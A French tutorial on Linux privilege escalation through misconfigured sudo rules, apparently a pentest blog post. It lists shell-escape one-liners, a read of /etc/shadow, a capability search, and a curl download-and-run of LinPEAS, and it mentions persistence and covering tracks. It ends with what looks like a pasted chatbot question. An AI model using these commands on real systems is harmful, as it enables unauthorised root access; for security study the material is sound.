pwn

Lélèvation de privilège ou prendre les droits administrateur LINUX

07/04/2026 Mis à jour le 21/06/2026

Concept : L'exploitation des privilèges sudo

Sur les systèmes Red Hat, le fichier `/etc/sudoers` définit quels utilisateurs peuvent exécuter des commandes avec les privilèges d'un autre utilisateur (généralement root). Si une commande autorisée permet nativement l'exécution d'un shell ou la lecture/écriture de fichiers, un utilisateur standard peut devenir root sans connaître le mot de passe de ce dernier.

Mise en œuvre pratique

1. Identification de la vulnérabilité (Reconnaissance)

Connecté en tant qu'utilisateur standard, la première étape consiste à vérifier quels droits sudo vous ont été attribués :

sudo -l

Si le résultat affiche une ligne comme celle-ci, vous avez une faille potentielle :

`User <votre_user> may run the following commands on host: (root) NOPASSWD: /usr/bin/vim`

2. Exploitation (Privilege Escalation)

Dans cet exemple, l'administrateur a autorisé l'exécution de `vim` sans mot de passe. `vim` est un éditeur de texte qui permet d'exécuter des commandes système.

* Lancez `vim` avec sudo :

sudo vim

* Une fois dans l'interface de `vim`, passez en mode commande en tapant `:`.

* Tapez ensuite la commande suivante pour ouvrir un shell :

!/bin/bash

Vous vous retrouvez immédiatement avec un accès root sur la machine.

3. Autres vecteurs courants sur RHEL

Il existe une liste exhaustive de binaires qui, s'ils sont autorisés dans le fichier `sudoers`, permettent une escalade immédiate. Vous pouvez consulter le site GTFOBins, qui est la référence absolue pour ce type de manipulation.

Voici quelques autres binaires classiques pour l'élévation de privilèges (Il faut que sudo -l fonctionne) :

sudo find . -exec /bin/bash \; -quit
sudo less /etc/shadow (puis taper !/bin/bash)
sudo awk 'BEGIN {system("/bin/bash")}'
sudo nmap --interactive (puis !sh)
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
sudo zip /tmp/x /tmp/x -T -TT 'sh #'
sudo perl -e 'exec "/bin/bash";'
sudo python -c 'import os; os.system("/bin/bash")'
sudo socat stdin exec:/bin/bash
sudo c89 -wrapper /bin/bash,-s .
sudo man man (puis taper !/bin/bash)


Si sudo -l ne fonctionne pas tester pluto getcap :

getcap -r / 2>/dev/null


4. Méthodologie automatisation de découverte

  1. Transférer l'outil sur votre machine attaquante : curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh > /tmp/linpeas.sh
  2. Lancer le script bash /tmp/linpeas.sh
  3. Analyser : Ne lisez pas tout, concentrez-vous sur ce que le script met en évidence.

Une fois root, la dernière étape du hacker est généralement la Persistance (s'assurer de pouvoir revenir même si le serveur redémarre) et le Nettoyage des traces.

Souhaitez-vous que l'on regarde comment utiliser LinPEAS plus en détail ou préfères-tu un exemple concret sur une faille spécifique (comme une mauvaise configuration Sudo) ?